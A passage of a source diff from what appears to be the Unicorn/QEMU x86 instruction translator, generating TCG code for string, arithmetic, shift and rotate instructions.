gen_op_movl_T0_Dshift(tcg_ctx, ot); + gen_op_add_reg_T0(tcg_ctx, s->aflag, R_EDI); +} + +static inline void gen_lods(DisasContext *s, TCGMemOp ot) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + gen_string_movl_A0_ESI(s); + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + gen_op_mov_reg_v(tcg_ctx, ot, R_EAX, *cpu_T[0]); + gen_op_movl_T0_Dshift(tcg_ctx, ot); + gen_op_add_reg_T0(tcg_ctx, s->aflag, R_ESI); +} + +static inline void gen_scas(DisasContext *s, TCGMemOp ot) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + gen_string_movl_A0_EDI(s); + gen_op_ld_v(s, ot, *cpu_T[1], cpu_A0); + gen_op(s, OP_CMPL, ot, R_EAX); + gen_op_movl_T0_Dshift(tcg_ctx, ot); + gen_op_add_reg_T0(tcg_ctx, s->aflag, R_EDI); +} + +static inline void gen_cmps(DisasContext *s, TCGMemOp ot) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + gen_string_movl_A0_EDI(s); + gen_op_ld_v(s, ot, *cpu_T[1], cpu_A0); + gen_string_movl_A0_ESI(s); + gen_op(s, OP_CMPL, ot, OR_TMP0); + gen_op_movl_T0_Dshift(tcg_ctx, ot); + gen_op_add_reg_T0(tcg_ctx, s->aflag, R_ESI); + gen_op_add_reg_T0(tcg_ctx, s->aflag, R_EDI); +} + +static inline void gen_ins(DisasContext *s, TCGMemOp ot) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 cpu_tmp2_i32 = tcg_ctx->cpu_tmp2_i32; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + TCGv **cpu_regs = (TCGv **)tcg_ctx->cpu_regs; + + gen_string_movl_A0_EDI(s); + /* Note: we must do this dummy write first to be restartable in + case of page fault. */ + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], 0); + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_regs[R_EDX]); + tcg_gen_andi_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp2_i32, 0xffff); + gen_helper_in_func(tcg_ctx, ot, *cpu_T[0], cpu_tmp2_i32); + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + gen_op_movl_T0_Dshift(tcg_ctx, ot); + gen_op_add_reg_T0(tcg_ctx, s->aflag, R_EDI); +} + +static inline void gen_outs(DisasContext *s, TCGMemOp ot) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 cpu_tmp2_i32 = tcg_ctx->cpu_tmp2_i32; + TCGv_i32 cpu_tmp3_i32 = tcg_ctx->cpu_tmp3_i32; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + TCGv **cpu_regs = (TCGv **)tcg_ctx->cpu_regs; + + gen_string_movl_A0_ESI(s); + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_regs[R_EDX]); + tcg_gen_andi_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp2_i32, 0xffff); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp3_i32, *cpu_T[0]); + gen_helper_out_func(tcg_ctx, ot, cpu_tmp2_i32, cpu_tmp3_i32); + + gen_op_movl_T0_Dshift(tcg_ctx, ot); + gen_op_add_reg_T0(tcg_ctx, s->aflag, R_ESI); +} + +/* same method as Valgrind : we generate jumps to current or next + instruction */ +#define GEN_REPZ(op) \ +static inline void gen_repz_ ## op(DisasContext *s, TCGMemOp ot, \ + target_ulong cur_eip, target_ulong next_eip) \ +{ \ + int l2;\ + gen_update_cc_op(s); \ + l2 = gen_jz_ecx_string(s, next_eip); \ + gen_ ## op(s, ot); \ + gen_op_add_reg_im(s->uc->tcg_ctx, s->aflag, R_ECX, -1); \ + /* a loop would cause two single step exceptions if ECX = 1 \ + before rep string_insn */ \ + if (!s->jmp_opt) \ + gen_op_jz_ecx(s->uc->tcg_ctx, s->aflag, l2); \ + gen_jmp(s, cur_eip); \ +} + +#define GEN_REPZ2(op) \ +static inline void gen_repz_ ## op(DisasContext *s, TCGMemOp ot, \ + target_ulong cur_eip, \ + target_ulong next_eip, \ + int nz) \ +{ \ + int l2;\ + gen_update_cc_op(s); \ + l2 = gen_jz_ecx_string(s, next_eip); \ + gen_ ## op(s, ot); \ + gen_op_add_reg_im(s->uc->tcg_ctx, s->aflag, R_ECX, -1); \ + gen_update_cc_op(s); \ + gen_jcc1(s, (JCC_Z << 1) | (nz ^ 1), l2); \ + if (!s->jmp_opt) \ + gen_op_jz_ecx(s->uc->tcg_ctx, s->aflag, l2); \ + gen_jmp(s, cur_eip); \ +} + +GEN_REPZ(movs) +GEN_REPZ(stos) +GEN_REPZ(lods) +GEN_REPZ(ins) +GEN_REPZ(outs) +GEN_REPZ2(scas) +GEN_REPZ2(cmps) + +static void gen_helper_fp_arith_ST0_FT0(TCGContext *s, int op) +{ + switch (op) { + case 0: + gen_helper_fadd_ST0_FT0(s, s->cpu_env); + break; + case 1: + gen_helper_fmul_ST0_FT0(s, s->cpu_env); + break; + case 2: + gen_helper_fcom_ST0_FT0(s, s->cpu_env); + break; + case 3: + gen_helper_fcom_ST0_FT0(s, s->cpu_env); + break; + case 4: + gen_helper_fsub_ST0_FT0(s, s->cpu_env); + break; + case 5: + gen_helper_fsubr_ST0_FT0(s, s->cpu_env); + break; + case 6: + gen_helper_fdiv_ST0_FT0(s, s->cpu_env); + break; + case 7: + gen_helper_fdivr_ST0_FT0(s, s->cpu_env); + break; + } +} + +/* NOTE the exception in "r" op ordering */ +static void gen_helper_fp_arith_STN_ST0(TCGContext *s, int op, int opreg) +{ + TCGv_i32 tmp = tcg_const_i32(s, opreg); + switch (op) { + case 0: + gen_helper_fadd_STN_ST0(s, s->cpu_env, tmp); + break; + case 1: + gen_helper_fmul_STN_ST0(s, s->cpu_env, tmp); + break; + case 4: + gen_helper_fsubr_STN_ST0(s, s->cpu_env, tmp); + break; + case 5: + gen_helper_fsub_STN_ST0(s, s->cpu_env, tmp); + break; + case 6: + gen_helper_fdivr_STN_ST0(s, s->cpu_env, tmp); + break; + case 7: + gen_helper_fdiv_STN_ST0(s, s->cpu_env, tmp); + break; + } +} + +/* if d == OR_TMP0, it means memory operand (address in A0) */ +static void gen_op(DisasContext *s, int op, TCGMemOp ot, int d) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + TCGv cpu_cc_srcT = *(TCGv *)tcg_ctx->cpu_cc_srcT; + TCGv cpu_tmp4 = *(TCGv *)tcg_ctx->cpu_tmp4; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + if (d != OR_TMP0) { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], d); + } else { + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + } + switch(op) { + case OP_ADCL: + gen_compute_eflags_c(s, cpu_tmp4); + tcg_gen_add_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + tcg_gen_add_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], cpu_tmp4); + gen_op_st_rm_T0_A0(s, ot, d); + gen_op_update3_cc(tcg_ctx, cpu_tmp4); + set_cc_op(s, CC_OP_ADCB + ot); + break; + case OP_SBBL: + gen_compute_eflags_c(s, cpu_tmp4); + tcg_gen_sub_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + tcg_gen_sub_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], cpu_tmp4); + gen_op_st_rm_T0_A0(s, ot, d); + gen_op_update3_cc(tcg_ctx, cpu_tmp4); + set_cc_op(s, CC_OP_SBBB + ot); + break; + case OP_ADDL: + tcg_gen_add_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + gen_op_st_rm_T0_A0(s, ot, d); + gen_op_update2_cc(tcg_ctx); + set_cc_op(s, CC_OP_ADDB + ot); + break; + case OP_SUBL: + tcg_gen_mov_tl(tcg_ctx, cpu_cc_srcT, *cpu_T[0]); + tcg_gen_sub_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + gen_op_st_rm_T0_A0(s, ot, d); + gen_op_update2_cc(tcg_ctx); + set_cc_op(s, CC_OP_SUBB + ot); + break; + default: + case OP_ANDL: + tcg_gen_and_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + gen_op_st_rm_T0_A0(s, ot, d); + gen_op_update1_cc(tcg_ctx); + set_cc_op(s, CC_OP_LOGICB + ot); + break; + case OP_ORL: + tcg_gen_or_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + gen_op_st_rm_T0_A0(s, ot, d); + gen_op_update1_cc(tcg_ctx); + set_cc_op(s, CC_OP_LOGICB + ot); + break; + case OP_XORL: + tcg_gen_xor_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + gen_op_st_rm_T0_A0(s, ot, d); + gen_op_update1_cc(tcg_ctx); + set_cc_op(s, CC_OP_LOGICB + ot); + break; + case OP_CMPL: + tcg_gen_mov_tl(tcg_ctx, cpu_cc_src, *cpu_T[1]); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_srcT, *cpu_T[0]); + tcg_gen_sub_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0], *cpu_T[1]); + set_cc_op(s, CC_OP_SUBB + ot); + break; + } +} + +/* if d == OR_TMP0, it means memory operand (address in A0) */ +static void gen_inc(DisasContext *s, TCGMemOp ot, int d, int c) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + if (d != OR_TMP0) { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], d); + } else { + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + } + gen_compute_eflags_c(s, cpu_cc_src); + if (c > 0) { + tcg_gen_addi_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], 1); + set_cc_op(s, CC_OP_INCB + ot); + } else { + tcg_gen_addi_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], -1); + set_cc_op(s, CC_OP_DECB + ot); + } + gen_op_st_rm_T0_A0(s, ot, d); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0]); +} + +static void gen_shift_flags(DisasContext *s, TCGMemOp ot, TCGv result, + TCGv shm1, TCGv count, bool is_right) +{ + TCGv_i32 z32, s32, oldop; + TCGv z_tl; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 cpu_tmp2_i32 = tcg_ctx->cpu_tmp2_i32; + TCGv_i32 cpu_tmp3_i32 = tcg_ctx->cpu_tmp3_i32; + TCGv_i32 cpu_cc_op = tcg_ctx->cpu_cc_op; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + + /* Store the results into the CC variables. If we know that the + variable must be dead, store unconditionally. Otherwise we'll + need to not disrupt the current contents. */ + z_tl = tcg_const_tl(tcg_ctx, 0); + if (cc_op_live[s->cc_op] & USES_CC_DST) { + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_NE, cpu_cc_dst, count, z_tl, + result, cpu_cc_dst); + } else { + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, result); + } + if (cc_op_live[s->cc_op] & USES_CC_SRC) { + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_NE, cpu_cc_src, count, z_tl, + shm1, cpu_cc_src); + } else { + tcg_gen_mov_tl(tcg_ctx, cpu_cc_src, shm1); + } + tcg_temp_free(tcg_ctx, z_tl); + + /* Get the two potential CC_OP values into temporaries. */ + tcg_gen_movi_i32(tcg_ctx, cpu_tmp2_i32, (is_right ? CC_OP_SARB : CC_OP_SHLB) + ot); + if (s->cc_op == CC_OP_DYNAMIC) { + oldop = cpu_cc_op; + } else { + tcg_gen_movi_i32(tcg_ctx, cpu_tmp3_i32, s->cc_op); + oldop = cpu_tmp3_i32; + } + + /* Conditionally store the CC_OP value. */ + z32 = tcg_const_i32(tcg_ctx, 0); + s32 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_tl_i32(tcg_ctx, s32, count); + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_NE, cpu_cc_op, s32, z32, cpu_tmp2_i32, oldop); + tcg_temp_free_i32(tcg_ctx, z32); + tcg_temp_free_i32(tcg_ctx, s32); + + /* The CC_OP value is no longer predictable. */ + set_cc_op(s, CC_OP_DYNAMIC); +} + +static void gen_shift_rm_T1(DisasContext *s, TCGMemOp ot, int op1, + int is_right, int is_arith) +{ + target_ulong mask = (ot == MO_64 ? 0x3f : 0x1f); + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_tmp0 = *(TCGv *)tcg_ctx->cpu_tmp0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + /* load */ + if (op1 == OR_TMP0) { + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], op1); + } + + tcg_gen_andi_tl(tcg_ctx, *cpu_T[1], *cpu_T[1], mask); + tcg_gen_subi_tl(tcg_ctx, cpu_tmp0, *cpu_T[1], 1); + + if (is_right) { + if (is_arith) { + gen_exts(tcg_ctx, ot, *cpu_T[0]); + tcg_gen_sar_tl(tcg_ctx, cpu_tmp0, *cpu_T[0], cpu_tmp0); + tcg_gen_sar_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + } else { + gen_extu(tcg_ctx, ot, *cpu_T[0]); + tcg_gen_shr_tl(tcg_ctx, cpu_tmp0, *cpu_T[0], cpu_tmp0); + tcg_gen_shr_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + } + } else { + tcg_gen_shl_tl(tcg_ctx, cpu_tmp0, *cpu_T[0], cpu_tmp0); + tcg_gen_shl_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + } + + /* store */ + gen_op_st_rm_T0_A0(s, ot, op1); + + gen_shift_flags(s, ot, *cpu_T[0], cpu_tmp0, *cpu_T[1], is_right); +} + +static void gen_shift_rm_im(DisasContext *s, TCGMemOp ot, int op1, int op2, + int is_right, int is_arith) +{ + int mask = (ot == MO_64 ? 0x3f : 0x1f); + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + TCGv cpu_tmp4 = *(TCGv *)tcg_ctx->cpu_tmp4; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + /* load */ + if (op1 == OR_TMP0) + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + else + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], op1); + + op2 &= mask; + if (op2 != 0) { + if (is_right) { + if (is_arith) { + gen_exts(tcg_ctx, ot, *cpu_T[0]); + tcg_gen_sari_tl(tcg_ctx, cpu_tmp4, *cpu_T[0], op2 - 1); + tcg_gen_sari_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], op2); + } else { + gen_extu(tcg_ctx, ot, *cpu_T[0]); + tcg_gen_shri_tl(tcg_ctx, cpu_tmp4, *cpu_T[0], op2 - 1); + tcg_gen_shri_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], op2); + } + } else { + tcg_gen_shli_tl(tcg_ctx, cpu_tmp4, *cpu_T[0], op2 - 1); + tcg_gen_shli_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], op2); + } + } + + /* store */ + gen_op_st_rm_T0_A0(s, ot, op1); + + /* update eflags if non zero shift */ + if (op2 != 0) { + tcg_gen_mov_tl(tcg_ctx, cpu_cc_src, cpu_tmp4); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0]); + set_cc_op(s, (is_right ? CC_OP_SARB : CC_OP_SHLB) + ot); + } +} + +static void gen_rot_rm_T1(DisasContext *s, TCGMemOp ot, int op1, int is_right) +{ + target_ulong mask = (ot == MO_64 ? 0x3f : 0x1f); + TCGv_i32 t0, t1; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 cpu_tmp2_i32 = tcg_ctx->cpu_tmp2_i32; + TCGv_i32 cpu_tmp3_i32 = tcg_ctx->cpu_tmp3_i32; + TCGv_i32 cpu_cc_op = tcg_ctx->cpu_cc_op; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src2 = *(TCGv *)tcg_ctx->cpu_cc_src2; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + /* load */ + if (op1 == OR_TMP0) { + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], op1); + } + + tcg_gen_andi_tl(tcg_ctx, *cpu_T[1], *cpu_T[1], mask); + + switch (ot) { + case MO_8: + /* Replicate the 8-bit input so that a 32-bit rotate works. */ + tcg_gen_ext8u_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + tcg_gen_muli_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], 0x01010101); + goto do_long; + case MO_16: + /* Replicate the 16-bit input so that a 32-bit rotate works. */ + tcg_gen_deposit_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[0], 16, 16); + goto do_long; + do_long: +#ifdef TARGET_X86_64 + case MO_32: + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp3_i32, *cpu_T[1]); + if (is_right) { + tcg_gen_rotr_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp2_i32, cpu_tmp3_i32); + } else { + tcg_gen_rotl_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp2_i32, cpu_tmp3_i32); + } + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_T[0], cpu_tmp2_i32); + break; +#endif + default: + if (is_right) { + tcg_gen_rotr_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + } else { + tcg_gen_rotl_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + } + break; + } + + /* store */ + gen_op_st_rm_T0_A0(s, ot, op1); + + /* We'll need the flags computed into CC_SRC. */ + gen_compute_eflags(s); + + /* The value that was "rotated out" is now present at the other end + of the word. Compute C into CC_DST and O into CC_SRC2. Note that + since we've computed the flags into CC_SRC, these variables are + currently dead. */ + if (is_right) { + tcg_gen_shri_tl(tcg_ctx, cpu_cc_src2, *cpu_T[0], mask - 1); + tcg_gen_shri_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0], mask); + tcg_gen_andi_tl(tcg_ctx, cpu_cc_dst, cpu_cc_dst, 1); + } else { + tcg_gen_shri_tl(tcg_ctx, cpu_cc_src2, *cpu_T[0], mask); + tcg_gen_andi_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0], 1); + } + tcg_gen_andi_tl(tcg_ctx, cpu_cc_src2, cpu_cc_src2, 1); + tcg_gen_xor_tl(tcg_ctx, cpu_cc_src2, cpu_cc_src2, cpu_cc_dst); + + /* Now conditionally store the new CC_OP value. If the shift count + is 0 we keep the CC_OP_EFLAGS setting so that only CC_SRC is live. + Otherwise reuse CC_OP_ADCOX which have the C and O flags split out + exactly as we computed above. */ + t0 = tcg_const_i32(tcg_ctx, 0); + t1 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_tl_i32(tcg_ctx, t1, *cpu_T[1]); + tcg_gen_movi_i32(tcg_ctx, cpu_tmp2_i32, CC_OP_ADCOX); + tcg_gen_movi_i32(tcg_ctx, cpu_tmp3_i32, CC_OP_EFLAGS); + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_NE, cpu_cc_op, t1, t0, + cpu_tmp2_i32, cpu_tmp3_i32); + tcg_temp_free_i32(tcg_ctx, t0); + tcg_temp_free_i32(tcg_ctx, t1); + + /* The CC_OP value is no longer predictable. */ + set_cc_op(s, CC_OP_DYNAMIC); +} + +static void gen_rot_rm_im(DisasContext *s, TCGMemOp ot, int op1, int op2, + int is_right) +{ + int mask = (ot == MO_64 ? 0x3f : 0x1f); + int shift; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src2 = *(TCGv *)tcg_ctx->cpu_cc_src2; + TCGv cpu_tmp0 = *(TCGv *)tcg_ctx->cpu_tmp0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + +#ifdef TARGET_X86_64 + TCGv_i32 cpu_tmp2_i32 = tcg_ctx->cpu_tmp2_i32; +#endif + + /* load */ + if (op1 == OR_TMP0) { + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], op1); + } + + op2 &= mask; + if (op2 != 0) { + switch (ot) { +#ifdef TARGET_X86_64 + case MO_32: + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + if (is_right) { + tcg_gen_rotri_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp2_i32, op2); + } else { + tcg_gen_rotli_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp2_i32, op2); + } + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_T[0], cpu_tmp2_i32); + break; +#endif + default: + if (is_right) { + tcg_gen_rotri_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], op2); + } else { + tcg_gen_rotli_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], op2); + } + break; + case MO_8: + mask = 7; + goto do_shifts; + case MO_16: + mask = 15; + do_shifts: + shift = op2 & mask; + if (is_right) { + shift = mask + 1 - shift; + } + gen_extu(tcg_ctx, ot, *cpu_T[0]); + tcg_gen_shli_tl(tcg_ctx, cpu_tmp0, *cpu_T[0], shift); + tcg_gen_shri_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], mask + 1 - shift); + tcg_gen_or_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], cpu_tmp0); + break; + } + } + + /* store */ + gen_op_st_rm_T0_A0(s, ot, op1); + + if (op2 != 0) { + /* Compute the flags into CC_SRC. */ + gen_compute_eflags(s); + + /* The value that was "rotated out" is now present at the other end + of the word. Compute C into CC_DST and O into CC_SRC2. Note that + since we've computed the flags into CC_SRC, these variables are + currently dead. */ + if (is_right) { + tcg_gen_shri_tl(tcg_ctx, cpu_cc_src2, *cpu_T[0], mask - 1); + tcg_gen_shri_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0], mask); + tcg_gen_andi_tl(tcg_ctx, cpu_cc_dst, cpu_cc_dst, 1); + } else { + tcg_gen_shri_tl(tcg_ctx, cpu_cc_src2, *cpu_T[0], mask); + tcg_gen_andi_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0], 1); + } + tcg_gen_andi_tl(tcg_ctx, cpu_cc_src2, cpu_cc_src2, 1); + tcg_gen_xor_tl(tcg_ctx, cpu_cc_src2, cpu_cc_src2, cpu_cc_dst); + set_cc_op(s, CC_OP_ADCOX); + } +} + +/* XXX: add faster immediate = 1 case */ +static void gen_rotc_rm_T1(DisasContext *s, TCGMemOp ot, int op1, + int is_right) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + gen_compute_eflags(s); + assert(s->cc_op == CC_OP_EFLAGS); + + /* load */ + if (op1 == OR_TMP0) + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + else + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], op1); + + if (is_right) { + switch (ot) { + case MO_8: + gen_helper_rcrb(tcg_ctx, *cpu_T[0], tcg_ctx->cpu_env, *cpu_T[0], *cpu_T[1]); + break; + case MO_16: + gen_helper_rcrw(tcg_ctx, *cpu_T[0], tcg_ctx->cpu_env, *cpu_T[0], *cpu_T[1]); + break; + case MO_32: + gen_helper_rcrl(tcg_ctx, *cpu_T[0], tcg_ctx->cpu_env, *cpu_T[0], *cpu_T[1]); + break; +#ifdef TARGET_X86_64 + case MO_64: + gen_helper_rcrq(tcg_ctx, *cpu_T[0], tcg_ctx->cpu_env, *cpu_T[0], *cpu_T[1]); + break; +#endif + default: + tcg_abort(); + } + } else { + switch (ot) { + case MO_8: + gen_helper_rclb(tcg_ctx, *cpu_T[0], tcg_ctx->cpu_env, *cpu_T[0], *cpu_T[1]); + break; + case MO_16: + gen_helper_rclw(tcg_ctx, *cpu_T[0], tcg_ctx->cpu_env, *cpu_T[0], *cpu_T[1]); + break; + case MO_32: + gen_helper_rcll(tcg_ctx, *cpu_T[0], tcg_ctx->cpu_env, *cpu_T[0], *cpu_T[1]); + break; +#ifdef TARGET_X86_64 + case MO_64: + gen_helper_rclq(tcg_ctx, *cpu_T[0], tcg_ctx->cpu_env, *cpu_T[0], *cpu_T[1]); + break; +#endif + default: + tcg_abort(); + } + } + /* store */ + gen_op_st_rm_T0_A0(s, ot, op1); +} + +/* XXX: add faster immediate case */ +static void gen_shiftd_rm_T1(DisasContext *s, TCGMemOp ot, int op1, + bool is_right, TCGv count_in) +{ + target_ulong mask = (ot == MO_64 ? 63 : 31); + TCGv count; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_tmp0 = *(TCGv *)tcg_ctx->cpu_tmp0; + TCGv cpu_tmp4 = *(TCGv *)tcg_ctx->cpu_tmp4; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + /* load */ + if (op1 == OR_TMP0) { + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], op1); + } + + count = tcg_temp_new(tcg_ctx); + tcg_gen_andi_tl(tcg_ctx, count, count_in, mask); + + switch (ot) { + case MO_16: + /* Note: we implement the Intel behaviour for shift count > 16. + This means "shrdw C, B, A" shifts A:B:A >> C. Build the B:A + portion by constructing it as a 32-bit value. */ + if (is_right) { + tcg_gen_deposit_tl(tcg_ctx, cpu_tmp0, *cpu_T[0], *cpu_T[1], 16, 16); + tcg_gen_mov_tl(tcg_ctx, *cpu_T[1], *cpu_T[0]); + tcg_gen_mov_tl(tcg_ctx, *cpu_T[0], cpu_tmp0); + } else { + tcg_gen_deposit_tl(tcg_ctx, *cpu_T[1], *cpu_T[0], *cpu_T[1], 16, 16); + } + /* FALLTHRU */ +#ifdef TARGET_X86_64 + case MO_32: + /* Concatenate the two 32-bit values and use a 64-bit shift. */ + tcg_gen_subi_tl(tcg_ctx, cpu_tmp0, count, 1); + if (is_right) { + tcg_gen_concat_tl_i64(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + tcg_gen_shr_i64(tcg_ctx, cpu_tmp0, *cpu_T[0], cpu_tmp0); + tcg_gen_shr_i64(tcg_ctx, *cpu_T[0], *cpu_T[0], count); + } else { + tcg_gen_concat_tl_i64(tcg_ctx, *cpu_T[0], *cpu_T[1], *cpu_T[0]); + tcg_gen_shl_i64(tcg_ctx, cpu_tmp0, *cpu_T[0], cpu_tmp0); + tcg_gen_shl_i64(tcg_ctx, *cpu_T[0], *cpu_T[0], count); + tcg_gen_shri_i64(tcg_ctx, cpu_tmp0, cpu_tmp0, 32); + tcg_gen_shri_i64(tcg_ctx, *cpu_T[0], *cpu_T[0], 32); + } + break; +#endif + default: + tcg_gen_subi_tl(tcg_ctx, cpu_tmp0, count, 1); + if (is_right) { + tcg_gen_shr_tl(tcg_ctx, cpu_tmp0, *cpu_T[0], cpu_tmp0); + + tcg_gen_subfi_tl(tcg_ctx, cpu_tmp4, mask + 1, count); + tcg_gen_shr_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], count); + tcg_gen_shl_tl(tcg_ctx, *cpu_T[1], *cpu_T[1], cpu_tmp4); + } else { + 